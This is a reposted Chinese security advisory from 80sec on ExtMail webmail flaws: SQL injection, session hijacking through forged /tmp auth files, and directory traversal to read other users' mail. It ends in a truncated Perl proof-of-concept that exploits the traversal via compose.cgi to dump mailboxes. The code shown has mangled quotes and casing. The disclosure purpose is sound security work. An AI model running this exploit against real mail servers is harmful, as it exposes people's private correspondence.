欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

对Extmail安全漏洞的分析

程序员文章站 2022-06-28 11:33:01
漏洞说明:ExtMail Project 是一个活跃的开源邮件系统项目,目前由ExtMail 团队维护。该项于2005年9月18日正式启动,最初以WebMail软件为主,至今已逐步形成了ExtMail软件系列。整个... 08-10-08...
漏洞说明:extmail project 是一个活跃的开源邮件系统项目,目前由extmail 团队维护。该项于2005年9月18日正式启动,最初以webmail软件为主,至今已逐步形成了extmail软件系列。整个项目的目标是开发出高效、 易用、富有生命力的邮件系统(方案),经过粗略的统计,截止2007年6月份,已有超过3000个服务器在运行extmail软件,其中有超过1000个 运行在互联网上。webmail采取perl语言cgi方式编写,国内众多知名站点均使用extmail,譬如 http://mail.csdn.net。80sec在其产品中发现安全漏洞,包括sql注射,任意用户身份劫持,以及任意信件读取的几个重大安全漏 洞。

漏洞厂商:http://www.extmail.org/

漏洞解析:

1 sql注射漏洞

程序在处理用户登陆参数的地方没有对sql注射进行防护,导致可能产生sql注射漏洞,该处没有回显,但是利用延迟技术,一样可以进行敏感信息获取

2 任意用户身份获取漏洞

程序在处理全局用户参数提交时产生错误,导致匿名用户可以在该会话期间内上传文件到/tmp/目录,而程序的所有认证机制都是依靠/tmp/下的文件来处理的,所以匿名用户可以伪造认证文件来窃取其他的用户身份

3 任意信件读取漏洞

程序依靠文件处理系统来区分各个用户和信件,但是程序在处理个别参数的时候存在安全漏洞,导致用户可以跳出目录进入其他人的目录读取敏感信息如信件。

漏洞状态:80sec已经通知官方,但是到目前没有获得任何回复

漏洞证明:80sec发放任意信件读取漏洞的poc


#!/usr/bin/perl
#exp for ext-mail
#codz by 80sec http://www.80sec.com

use lwp;
my $browser = lwp::useragent->new;

$mysid="d9a4c4f05aca535d696f8983a23e42bd";
$mytarget="http://www.80sec.com/";
$user='80sec';

$argv[0]&&($user=$argv[0]);
open(result,”>>$user.txt”);

for($i=0;;$i ) {
my @headers=(’cookie’=>”sid=$mysid”,’user-agent’=>’mozilla/4.0 (compatible; msie 7.0; windows nt 5.1)’,);
$myresponse=$browser->post(”${mytarget}compose.cgi”,['__mode'=>'edit_forward','folder'=>"sent/../../../${user}/maildir",'pos'=>"$i"],@headers);
$myecho=$myresponse->content;